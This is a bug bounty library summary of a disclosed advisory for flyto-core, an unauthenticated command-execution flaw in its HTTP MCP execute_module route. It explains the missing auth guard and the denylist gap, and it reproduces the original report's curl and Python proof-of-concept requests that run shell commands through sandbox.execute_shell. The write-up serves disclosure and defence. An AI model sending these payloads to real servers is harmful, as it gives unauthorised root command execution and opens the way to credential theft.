# flyto-core has Unauthenticated Command Execution via HTTP MCP `execute_module`

flyto-core's unauthenticated POST /mcp JSON-RPC route dispatches tools/call to sandbox.execute_shell, letting any local (or network, if bound 0.0.0.0) client run OS commands as the server user.

- Payout: Research
- Severity: high
- Program: flyto-core
- Found by: EQSTLab, yym8538
- Disclosed: 2026-07-06
- CVE: CVE-2026-55786
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-h9f9-h6gm-wc85
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-h9f9-h6gm-wc85
- Tags: area:web domain:api impact:rce kind:research platform:ghsa sev:high tech:python tech:rest technique:source-review vuln:access-control vuln:auth-bypass vuln:command-injection vuln:rce

**Target:** FastAPI HTTP MCP endpoint POST /mcp (JSON-RPC tools/call)
**Root cause:** The MCP router is mounted without a Depends(require_auth) guard, unlike the REST execute route, and forwards attacker-controlled module_id/params to the registry; sandbox.execute_shell then passes params['command'] to asyncio.create_subprocess_shell with shell=True and no sanitization.
**Steps:**
1. Start server: `flyto serve` (or Docker image binding 0.0.0.0:8333).
2. POST to `/mcp` with no Authorization header, body `{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"execute_module","arguments":{"module_id":"sandbox.execute_shell","params":{"command":"id","timeout":5}}}}`.
3. Observe response structuredContent.data.stdout containing `uid=0(root)` and exit_code 0.
**How found:** Code review comparing the MCP route to the analogous REST execution route: noticed modules.py:93 has Depends(require_auth) while mcp.py:65 has none, then traced the unauthenticated data flow to the create_subprocess_shell sink and noted sandbox.* is absent from the default denylist.
**Exploitation:** Single unauthenticated HTTP POST to /mcp; the JSON-RPC tools/call with name execute_module and module_id sandbox.execute_shell reaches create_subprocess_shell, returning command stdout/stderr in the JSON-RPC response. Confirmed as root in Docker; remotely reachable when bound to 0.0.0.0.
**Escalation:** Binding to --host 0.0.0.0 changes local-only to network-wide attack surface; root execution enables file read/write, credential theft, lateral movement.
**Insight:** When a project has parallel API surfaces (REST vs MCP/JSON-RPC), diff their auth dependencies and denylists — the newer or auxiliary router often omits the guard the primary one enforces, and denylist prefixes like 'shell.*' miss sibling modules such as 'sandbox.execute_shell'.

## Proof of concept (copied exactly from the original report)

**Unauthenticated curl RCE via MCP execute_module**

```
curl -sS http://127.0.0.1:8333/mcp \
  -H 'Content-Type: application/json' \
  -d '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
      "name": "execute_module",
      "arguments": {
        "module_id": "sandbox.execute_shell",
        "params": {"command": "id", "timeout": 5}
```

**Python PoC sending unauthenticated execute_module payload**

```
payload = {
        "jsonrpc": "2.0",
        "id": 1,
        "method": "tools/call",
        "params": {
            "name": "execute_module",
            "arguments": {
                "module_id": "sandbox.execute_shell",
                "params": {
                    "command": command,
                    "timeout": 10
                }
            }
        }
    }

    data = json.dumps(payload).encode("utf-8")
    req = urllib.request.Request(
        f"{base_url}/mcp",
        data=data,
        headers={"Content-Type": "application/json"},
        method="POST",
```

**Dockerfile binding server to 0.0.0.0**

```
CMD ["python", "-c", "from core.api.server import main; main(host='0.0.0.0', port=8333)"]
```

